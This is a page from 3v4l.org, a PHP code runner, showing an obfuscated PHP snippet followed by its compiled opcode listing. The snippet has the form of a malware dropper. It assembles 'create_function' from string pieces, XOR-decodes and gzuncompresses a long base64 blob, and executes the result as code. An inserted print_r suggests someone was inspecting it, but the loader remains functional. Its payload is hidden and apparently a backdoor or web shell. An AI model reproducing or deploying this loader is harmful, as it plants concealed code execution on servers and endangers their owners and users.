3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ydjpzuqm=array( '$ydjpzuqm[0]=$ydjpzuqm[3];$wvyjrvkr=wvyjrvkr(7,13);$ydjpzuqm[0]=$wvyjrvkr($ydjpzuqm[2]);', '"$ydjpzuqm[2]=gzuncompress(wvyjrvkr(735,2155));', 'd0pZfWl+W3BjdVd1a3trdFl0ZGpabXljcWxZS3FseXBuZHRvZ3hJY3d5eWFnSW53amtQTkRFT0pOQVlDQlpWS0dNXVNsVE5KcGJjYXFraHhncWRkaVd1aXMrdGgyb2UgKSc2T05iRXJVc2E3dGd8NnY/ZUBmJj4gYmAwcEpqY0dhLjJpZWxteWZzcWJyYmVOZnxzY3RWcE1MTHNoeGNvYypvZ21keTh2Y2BwcjxmamhmdGlxIHtgemBmYCxuZW1iZG5ZWkNVXFNDVFByaXthcVdmZnhFaGcuKDhUWnpcU0NUXE5ORVJVVGpZdXZmZGE1Ml5yY2ZkcnY/d2d9aHkvcGNtc2VxUldNclFaP09JbEpGQkZRRlVVSVNXQnNKWklHREVNU1JeWEdITmpNWkVSUlZaWVJCVExFUWNmQStvV0k7Y3JyLHVpe1pFO3N6dCwoZ3locSZjfX16V3dzZnE7c3p0LChIVUMofnh6bGFFU0ZASkdpVnRAQlpUa0VASkdASlRQUHhRdE07c3p0YXd7a2JiXmJrdVRyemZWTGBqZ3RGRmdjdzpnbGh1c2hxJGNjeG1ocHREYWtjdzpnbGh1c2hxJHVyd2psSmpmcmhlZ2ZiXnJvd3hMQktzVDo6a3hjdXZmZGE1Ml5yY2ZkcnZzTE9nSmNIZ3NlYWJrXnFjcVR7dmBjVnBmY2Vqc2F1fmhLT2ZcU0NUXFN'.'SU1RaSlFWWlZTdVl3WVpWcjY5ZXFhZHhycGY4Y2NkQkJxNTlvcWNjZShmZHtNZXF2djM5Ymx0YHpvZm44cHtvO3BnKWBpb3BvYiVme2Q9fCloVVBibzJsKnlCMnMqdGt2J2Y7VjJxKlpnVEpQd3JlaFxVYn1pfnBuV01XRiVYfHNjdDkpLm1QU0dGMnAqYmRlZ2Jja3Nyb1VxSUFMMnAqZ3ZBWEZxf3Jnb1UycCp3aCZJQlJVJCc9JFRcaGRwOSZ4ZlNsS1k7bJuSXHhp69AU+iENV1tv0FXf0TiZvkxizGyobX0Gk61GkrHMmzM3Dh356wP2r92QyTJJGjrxLnZxc9XliA1AljwQdO6ENxw9szAWG9AsWVk7SMWeqbiSBuj4KeDhJIuOYBRxfaWqVs1vv5Gzmb0bc1NCpZ8zCIYPy64wVSCOuGi/PSbQqDX2oGCzfrUW40+x6ydLg+nY00wb2OPUbooUHVyJHkiYV5lURKwvD5VdtlcR5Ddc0Z9Tyf+r4ESOwJG4ox4ALnoh9Ms0G8RLtFrBLYnJOM'.'GkdWhKl387T1Wvt+qyrqxRg2m8jkj4ZvqX50edmK41DFNkkwSjS1x3gzKMYKOoI0lzvBexUYfzQ4+rlyuFaAkrtbVEb+QNrkYU2po2yUNOOna0PZtuWREVvGsig+cGRliDXNi9jipPNdSew1iGiVwF5jf4n85vt785igqIgQJQuK1IuS3Bz2rWqoHxrI8RBOMrIk8FnvWg/cFiE7Y/M19U7rvxRaPR9KHmiBPNLSYsMUAg2w10eYlSj/M8fg6JR/pW3qV/aeFU9BZ9G+xD4k+SdcpWxPyIHlpZ5yCEXx7bp/gUSZVkHPMiC5mBsXCakcUx0ciB/C9Dyitl7FaqeHDRw3mCyPXVQIUviFFMgJsH5dDCPvakG0FlZG3ijgWaW46uVJ7zzUzpVYfQ6RIcZ4lAypyn3Et488IM6NcWqA0lakk7X5gFqnvgpsk3PQ+XEjgbAZJ/LNgTkMV56ySo5Ynehv9t9E61aiKIrteiPmur9RV3RMY3sYV2Iw+ngnlVSp1Oy7H2CASi+HyzYxv6zEnkAtohNIAcac/NjEiymo6nYqhpJGDYmSj8elINgNyCVCDIfFuhq15bcqHyD8BirLRxA/S52cjWC7oR+lhj9zc9kfqwZ6LcfwQ7uptUOnu6M5YRoAiOaOxtjfAPd7SUd8yDMLzM1uI68dk5ZTFbdtZsTaTWDGFToGQFiVQZWUrSkiz9dOyw92eFY5/IXAyzMFO9YkwWh+0Ex2QxqQ6Nak/cWPMHH0AoO4CTemA20sIKFIeCf88F3vCY48ctER+nbn1ZTYlA6DLDbaW04U5lKKBrH7EtunvLhx2+gRI7LrrALKCquHBNbpHaNT7b5kenykpu82GZdCNFQR+yhmlrIMbUpmoYNOC04qle9zSGT/'.'0tZ5mAwpPDx4WmhG/3R8fZe3sbC2o96P89d255nHhk3MLenmsy3uxtzb/J/BL/ptsIlLvCssbNxyh303FPzT730w6DauoD6gqC1Pit44VKoSYJJhMqZv8Odv6ARvZjw+K9LUoJ/TLmutzpxVSRDh+AmtZDjTXwpqb/UEu7iLX6w+oJRFFN3eDp+pl0cQ6YALePYurRbBiM09bQcfwUiSXaVL11Y9A3YqAgBVsAbWq7TpFxX2uFq4FYbkMewcbOF8538dbvR2SNZKExa8mRpT/wUkwhAeXLt/Yl+lsIRrTAUjmZDkaaBLcJcMn1sActgKfbmuFKFh3N7PRstOJnXiB3zSclKKDEXIbjDos8Zmos9hcEi3yDT0wgAQjBIw9ATt7aRkAMrrhv3o/y9wYNg8UNKCPETXk341A+7NIeOcJp4AUzGszyqlktTft2nnybJKcLsvWwjJ7D7W+WOPwi6YlWxNYyiLPCzxmwmLkcG/2w/7gdVtVF62+087de1XzOXRdV07TjP/SUgtH1X+ydaeybElo3682+wvDQU63X+67O1vBStDumhrxlQ2b31n0Hn6geWUg1jWyoRfF3amturB0ROtLR0vLM29JOOFwduPlxh28rjp7UaKNAX6s2IuSGyHAwZmr/YoDOwGzufCUvGH1PDwJqFDhnF1PhrCy6Sf0PshUnWQtDQzlMt0hUrYl6WJXEKpOAQUQKg/RHLBKs3o2txYa3vditBZ54kO0i1w1/rxvV8ErZbCN3vWsNgshYRm8hwaWGK7KKSUG8cxk7gTGLjjUF21kljySO3Bn6Oh7ujwwHy+lhldhaCv89Lm6QoxQqkWEy5pCms6ZSJrgkLd63Wot8IOJQdsH0r2ObIwogBlsJKGw+T3QQ4BsRWi1zy03FmLwlgYap4H4F4edVB56hiHkqLmdafpgRO55HsVsPYp/TGpbIpMDB3PSc3qY8ltCka7bsNwY2aI/VR1YAktOkvXsHrsAujuvfKd5f30GEwH'.'qU477w1YfqWda5Bvp2GNF15t+eqGdU3HLfkO9WwHAHnUgL5M4T1aw+0JYNdNo56er2pGmfJ5qZ6R4Rnrf7UOzhoo0oyWknK7emIivP2u1ON8VmqBlmJqIkEWQhHV/SRLRKn8InDvd3eogQ0IhFFd3jgYElZUz2vnCIV9RDQeEgPprh/CVt/laD1pTeFWQnTXrrLTqyIFnbIyuoFhn4KTmJ6PYTULAWVL/VuGOCuxiz63iGd5x6JfmZ0koX2gKZhIVZFV9y8+Nj9fb34m0KFuYHxNHvGK9Wi7bozoIFErNiHMr7QA9+4Gl65Bnr+PUwwafo+DG+fgja2zRrUH7hjsBYCOrsZ59tuP5k6fLxWy54YPRfKSuLangzBnqbc8nrSXag2XqSOkV8UwFUygrWwUTn1fqXQQux6Uwx3ySsv3+P/L1lSCzCrCr0bQr8MDXj8SyqeLNY7zQZeyZVe3zyzAIebbT3GO3cvjgodj4ezoeXCqwCiAx4gUXwWoW/k6fBfrWoukdplCYeU5uAypBOYMDZcok8HiDla+UdDY8hxslJYg7Qo9vEPGe2Mxq8W3UG45i+/JHX9eRwB+7lGLzIkCYmsqR2htls96Z0BJcnVvvxDEaK/T0hgdPwPicCj3+hzWQqCLDNg68B++gpCipMOOlkqCmSyfYNRRW5H/Tznm8tDvSbrPgGccPl80x6', "/*dxdhq\x76\x66\x64\x61\x35\x32\x5e\x72\x63\x66\x64\x72\x76*/");$llxgwqo='create_'; print_r ($ydjpzuqm); if(function_exists($llxgwqo.='function')){ $llxgwqo('','}function wvyjrvkr($start,$text_len){$keypad=str_pad("",$text_len,"tgwdcfavfekvstbi");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($ydjpzuqm[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($rj=-1;++$rj<3;){ $ydjpzuqm[$rj]=$llxgwqo('','}'.$ydjpzuqm[$rj].'{'); }};unset($ydjpzuqm);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 28
Branch analysis from position: 10
1 jumps found. (Code = 42) Position 1 = 25
Branch analysis from position: 25
2 jumps found. (Code = 44) Position 1 = 28, Position 2 = 16
Branch analysis from position: 28
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 16
2 jumps found. (Code = 44) Position 1 = 28, Position 2 = 16
Branch analysis from position: 28
Branch analysis from position: 16
Branch analysis from position: 28
filename:       /in/rV9OI
function name:  (null)
number of ops:  30
compiled vars:  !0 = $ydjpzuqm, !1 = $llxgwqo, !2 = $rj
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'print_r'
          3        SEND_VAR                                                 !0
          4        DO_ICALL                                                 
    7     5        INIT_FCALL                                               'function_exists'
          6        ASSIGN_OP                                     8  ~6      !1, 'function'
          7        SEND_VAL                                                 ~6
          8        DO_ICALL                                         $7      
          9      > JMPZ                                                     $7, ->28
    8    10    >   INIT_DYNAMIC_CALL                                        !1
         11        SEND_VAL_EX                                              ''
         12        SEND_VAL_EX                                              '%7Dfunction+wvyjrvkr%28%24start%2C%24text_len%29%7B%24keypad%3Dstr_pad%28%22%22%2C%24text_len%2C%22tgwdcfavfekvstbi%22%29%3B%24lomask%3Dstr_repeat%28%22%5Cx1f%22%2C%24text_len%29%3B%24himask%3Dstr_repeat%28%22%5Cxe0%22%2C%24text_len%29%3B%24text+%3D+substr%28%24ydjpzuqm%5B0%5D%2C%24start%2C%24text_len%29%3Breturn%28%28%24text%5E%24keypad%29%26%24lomask%29%7C%28%24text%26%24himask%29%3B%7D%7B'
         13        DO_FCALL                                      0          
   10    14        ASSIGN                                                   !2, -1
         15      > JMP                                                      ->25
   11    16    >   INIT_DYNAMIC_CALL                                        !1
         17        SEND_VAL_EX                                              ''
         18        FETCH_DIM_R                                      ~11     !0, !2
         19        CONCAT                                           ~12     '%7D', ~11
         20        CONCAT                                           ~13     ~12, '%7B'
         21        SEND_VAL_EX                                              ~13
         22        DO_FCALL                                      0  $14     
         23        ASSIGN_DIM                                               !0, !2
         24        OP_DATA                                                  $14
   10    25    >   PRE_INC                                          ~15     !2
         26        IS_SMALLER                                               ~15, 3
         27      > JMPNZ                                                    ~16, ->16
   12    28    >   UNSET_CV                                                 !0
         29      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
160.19 ms | 1388 KiB | 17 Q